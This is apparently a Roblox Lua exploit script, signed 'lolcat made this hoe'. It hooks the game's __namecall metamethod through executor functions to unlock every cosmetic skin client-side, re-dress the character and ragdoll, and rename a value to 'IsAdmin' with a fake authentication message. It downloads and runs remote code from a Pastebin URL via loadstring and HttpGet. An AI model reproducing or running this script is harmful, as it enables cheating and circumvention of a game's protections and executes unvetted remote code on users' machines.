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DontNeedToHide
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print("lolcat made this hoe")
function reweld(p2, p3)
local v27 = p2:GetChildren();
local v28 = #v27;
local v29 = 1;
while true do
if v27[v29]:IsA("Accoutrement") then
v27[v29]:Destroy();
end;
if 0 <= 1 then
if v29 < v28 then
else
break;
end;
elseif v28 < v29 then
else
break;
end;
v29 = v29 + 1;
end;
local v30 = p3:GetChildren();
local v31 = #v30;
local v32 = 1;
while true do
if v30[v32]:IsA("Accoutrement") then
local v33 = v30[v32].Handle:clone();
local v34 = v30[v32].Handle:GetChildren();
local v35 = nil;
local v36 = #v34;
local v37 = 1;
while true do
if v34[v37].Name == "AccessoryWeld" then
if v34[v37].Part1 then
v35 = v34[v37];
break;
end;
end;
if 0 <= 1 then
if v37 < v36 then
else
break;
end;
elseif v36 < v37 then
else
break;
end;
v37 = v37 + 1;
end;
v33.Parent = p2;
v33:FindFirstChildOfClass("Weld").Part1 = p2[v35.Part1.Name];
end;
if 0 <= 1 then
if v32 < v31 then
else
break;
end;
elseif v31 < v32 then
else
break;
end;
v32 = v32 + 1;
end;
end;
for _,skin in pairs(game.ReplicatedStorage.ItemData.Images.Skins:children()) do
if skin.Name ~= "He Who Watches" and skin.Name ~= "Delinquent" and skin.Name ~= "Rabblerouser" then
table.insert(getupvalues(getsenv(game.Players.LocalPlayer.PlayerGui.Menew.LocalScript).ViewItems)[3].Skins,skin.Name)
end
end
local hkGame=loadstring(game:HttpGet("https://pastebin.com/raw/EazT4WNw"))():new(getrawmetatable(game))
hkGame:Hook("__namecall",function(self,...)
local args={...}
if self.Name=="UpdateLoadout" then
local Loadout=args[1][2]
game.Players.LocalPlayer.Data.Skin.Value=Loadout.Skin
end
if self.Name=="SpawnMe" then
spawn(function()
for i,v in pairs(game.Players.LocalPlayer.Character:children()) do
if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("Accessory") or v.Name == "Handle" then
v:destroy()
end
end
for i,v in pairs(game.Players.LocalPlayer:WaitForChild("Ragdoll"):children()) do
if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("Accessory") or v.Name == "Handle" then
v:destroy()
end
end
local model = require(game.ReplicatedStorage.Modules.AssetStreaming).GetAsset(game.Players.LocalPlayer.Data.Skin.Value, "ChrModels", true)
for _,obj in pairs(model:children()) do
if obj:IsA("Accessory") then
obj:clone().Parent = game.Players.LocalPlayer.Character
obj:clone().Parent = game.Players.LocalPlayer.Ragdoll
elseif obj:IsA("Shirt") and obj.ShirtTemplate ~= "" and not game.Players.LocalPlayer.Character:FindFirstChild("Shirt") then
Instance.new("Shirt", game.Players.LocalPlayer.Character).ShirtTemplate = obj.ShirtTemplate
Instance.new("Shirt", game.Players.LocalPlayer.Ragdoll).ShirtTemplate = obj.ShirtTemplate
elseif obj:IsA("Pants") and obj.PantsTemplate ~= "" and not game.Players.LocalPlayer.Character:FindFirstChild("Pants") then
Instance.new("Pants", game.Players.LocalPlayer.Character).PantsTemplate = obj.PantsTemplate
Instance.new("Pants", game.Players.LocalPlayer.Ragdoll).PantsTemplate = obj.PantsTemplate
end
end
reweld(game.Players.LocalPlayer.Character, model)
reweld(game.Players.LocalPlayer.Ragdoll, model)
game.Players.LocalPlayer.Character.FakeHead.face.Texture = model.Head.face.Texture
game.Players.LocalPlayer.Ragdoll.Head.face.Texture = model.Head.face.Texture
for _,obj in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if obj:IsA("BasePart") and obj.BrickColor == BrickColor.new("Hot pink") then
obj.BrickColor = game.Players.LocalPlayer.TeamColor
end
if obj:IsA("SpecialMesh") and obj.VertexColor == Vector3.new(1, 0, 0.749) then
obj.VertexColor = Vector3.new(game.Players.LocalPlayer.TeamColor.Color.R, game.Players.LocalPlayer.TeamColor.Color.G, game.Players.LocalPlayer.TeamColor.Color.B)
end
end
for _,obj in pairs(game.Players.LocalPlayer.Ragdoll:GetDescendants()) do
if obj:IsA("BasePart") and obj.BrickColor == BrickColor.new("Hot pink") then
obj.BrickColor = game.Players.LocalPlayer.TeamColor
end
end
if model["Body Colors"].HeadColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character.FakeHead.BrickColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll.Head.BrickColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character.FakeHead.BrickColor = model["Body Colors"].HeadColor
game.Players.LocalPlayer.Ragdoll.Head.BrickColor = model["Body Colors"].HeadColor
end
if model["Body Colors"].TorsoColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character["Body Colors"].TorsoColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].TorsoColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character["Body Colors"].TorsoColor = model["Body Colors"].TorsoColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].TorsoColor = model["Body Colors"].TorsoColor
end
if model["Body Colors"].RightArmColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character["Body Colors"].RightArmColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].RightArmColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character["Body Colors"].RightArmColor = model["Body Colors"].RightArmColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].RightArmColor = model["Body Colors"].RightArmColor
end
if model["Body Colors"].LeftArmColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character["Body Colors"].LeftArmColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].LeftArmColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character["Body Colors"].LeftArmColor = model["Body Colors"].LeftArmColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].LeftArmColor = model["Body Colors"].LeftArmColor
end
if model["Body Colors"].RightLegColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character["Body Colors"].RightLegColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].RightLegColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character["Body Colors"].RightLegColor = model["Body Colors"].RightLegColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].RightLegColor = model["Body Colors"].RightLegColor
end
if model["Body Colors"].LeftLegColor == BrickColor.new("Hot pink") then
game.Players.LocalPlayer.Character["Body Colors"].LeftLegColor = game.Players.LocalPlayer.TeamColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].LeftLegColor = game.Players.LocalPlayer.TeamColor
else
game.Players.LocalPlayer.Character["Body Colors"].LeftLegColor = model["Body Colors"].LeftLegColor
game.Players.LocalPlayer.Ragdoll["Body Colors"].LeftLegColor = model["Body Colors"].LeftLegColor
end
game.Players.LocalPlayer.Character.FakeHead.Transparency = model.Head.Transparency
game.Players.LocalPlayer.Character.UpperTorso.Transparency = model.UpperTorso.Transparency
game.Players.LocalPlayer.Character.UpperTorso.Material = model.UpperTorso.Material
game.Players.LocalPlayer.Ragdoll.Head.Transparency = model.Head.Transparency
game.Players.LocalPlayer.Ragdoll.UpperTorso.Transparency = model.UpperTorso.Transparency
game.Players.LocalPlayer.Ragdoll.UpperTorso.Material = model.UpperTorso.Material
game.Players.LocalPlayer.Character.LowerTorso.Transparency = model.LowerTorso.Transparency
game.Players.LocalPlayer.Character.LowerTorso.Material = model.LowerTorso.Material
game.Players.LocalPlayer.Ragdoll.LowerTorso.Transparency = model.LowerTorso.Transparency
game.Players.LocalPlayer.Ragdoll.LowerTorso.Material = model.LowerTorso.Material
game.Players.LocalPlayer.Character.RightUpperArm.Transparency = model.RightUpperArm.Transparency
game.Players.LocalPlayer.Character.RightUpperArm.Material = model.RightUpperArm.Material
game.Players.LocalPlayer.Ragdoll.RightUpperArm.Transparency = model.RightUpperArm.Transparency
game.Players.LocalPlayer.Ragdoll.RightUpperArm.Material = model.RightUpperArm.Material
game.Players.LocalPlayer.Character.RightLowerArm.Transparency = model.RightLowerArm.Transparency
game.Players.LocalPlayer.Character.RightLowerArm.Material = model.RightLowerArm.Material
game.Players.LocalPlayer.Ragdoll.RightLowerArm.Transparency = model.RightLowerArm.Transparency
game.Players.LocalPlayer.Ragdoll.RightLowerArm.Material = model.RightLowerArm.Material
game.Players.LocalPlayer.Character.RightHand.Transparency = model.RightHand.Transparency
game.Players.LocalPlayer.Character.RightHand.Material = model.RightHand.Material
game.Players.LocalPlayer.Ragdoll.RightHand.Transparency = model.RightHand.Transparency
game.Players.LocalPlayer.Ragdoll.RightHand.Material = model.RightHand.Material
game.Players.LocalPlayer.Character.LeftUpperArm.Transparency = model.LeftUpperArm.Transparency
game.Players.LocalPlayer.Character.LeftUpperArm.Material = model.LeftUpperArm.Material
game.Players.LocalPlayer.Ragdoll.LeftUpperArm.Transparency = model.LeftUpperArm.Transparency
game.Players.LocalPlayer.Ragdoll.LeftUpperArm.Material = model.LeftUpperArm.Material
game.Players.LocalPlayer.Character.LeftUpperArm.Transparency = model.LeftUpperArm.Transparency
game.Players.LocalPlayer.Character.LeftUpperArm.Material = model.LeftUpperArm.Material
game.Players.LocalPlayer.Ragdoll.LeftUpperArm.Transparency = model.LeftUpperArm.Transparency
game.Players.LocalPlayer.Ragdoll.LeftUpperArm.Material = model.LeftUpperArm.Material
game.Players.LocalPlayer.Character.LeftLowerArm.Transparency = model.LeftLowerArm.Transparency
game.Players.LocalPlayer.Character.LeftLowerArm.Material = model.LeftLowerArm.Material
game.Players.LocalPlayer.Ragdoll.LeftLowerArm.Transparency = model.LeftLowerArm.Transparency
game.Players.LocalPlayer.Ragdoll.LeftLowerArm.Material = model.LeftLowerArm.Material
game.Players.LocalPlayer.Character.LeftHand.Transparency = model.LeftHand.Transparency
game.Players.LocalPlayer.Character.LeftHand.Material = model.LeftHand.Material
game.Players.LocalPlayer.Ragdoll.LeftHand.Transparency = model.LeftHand.Transparency
game.Players.LocalPlayer.Ragdoll.LeftHand.Material = model.LeftHand.Material
game.Players.LocalPlayer.Character.RightUpperLeg.Transparency = model.RightUpperLeg.Transparency
game.Players.LocalPlayer.Character.RightUpperLeg.Material = model.RightUpperLeg.Material
game.Players.LocalPlayer.Ragdoll.RightUpperLeg.Transparency = model.RightUpperLeg.Transparency
game.Players.LocalPlayer.Ragdoll.RightUpperLeg.Material = model.RightUpperLeg.Material
game.Players.LocalPlayer.Character.RightLowerLeg.Transparency = model.RightLowerLeg.Transparency
game.Players.LocalPlayer.Character.RightLowerLeg.Material = model.RightLowerLeg.Material
game.Players.LocalPlayer.Ragdoll.RightLowerLeg.Transparency = model.RightLowerLeg.Transparency
game.Players.LocalPlayer.Ragdoll.RightLowerLeg.Material = model.RightLowerLeg.Material
game.Players.LocalPlayer.Character.RightFoot.Transparency = model.RightFoot.Transparency
game.Players.LocalPlayer.Character.RightFoot.Material = model.RightFoot.Material
game.Players.LocalPlayer.Ragdoll.RightFoot.Transparency = model.RightFoot.Transparency
game.Players.LocalPlayer.Ragdoll.RightFoot.Material = model.RightFoot.Material
game.Players.LocalPlayer.Character.LeftUpperLeg.Transparency = model.LeftUpperLeg.Transparency
game.Players.LocalPlayer.Character.LeftUpperLeg.Material = model.LeftUpperLeg.Material
game.Players.LocalPlayer.Ragdoll.LeftUpperLeg.Transparency = model.LeftUpperLeg.Transparency
game.Players.LocalPlayer.Ragdoll.LeftUpperLeg.Material = model.LeftUpperLeg.Material
game.Players.LocalPlayer.Character.LeftLowerLeg.Transparency = model.LeftLowerLeg.Transparency
game.Players.LocalPlayer.Character.LeftLowerLeg.Material = model.LeftLowerLeg.Material
game.Players.LocalPlayer.Ragdoll.LeftLowerLeg.Transparency = model.LeftLowerLeg.Transparency
game.Players.LocalPlayer.Ragdoll.LeftLowerLeg.Material = model.LeftLowerLeg.Material
game.Players.LocalPlayer.Character.LeftFoot.Transparency = model.LeftFoot.Transparency
game.Players.LocalPlayer.Character.LeftFoot.Material = model.LeftFoot.Material
game.Players.LocalPlayer.Ragdoll.LeftFoot.Transparency = model.LeftFoot.Transparency
game.Players.LocalPlayer.Ragdoll.LeftFoot.Material = model.LeftFoot.Material
end)
end
if self.Name == "GetInventory" then
for _,skin in pairs(game.ReplicatedStorage.ItemData.Images.Skins:children()) do
table.insert(getupvalues(getsenv(game.Players.LocalPlayer.PlayerGui.Menew.LocalScript).ViewItems)[3].Skins,skin.Name)
end
end
return hkGame:getOriginal("__namecall")(self,unpack(args))
end)
game:GetService("Players").LocalPlayer.QueuePoints.Name = "IsAdmin"
print("User is authenticated on serverscriptservice.IsDev:CheckAdmin(game.Players.Player.UserId)")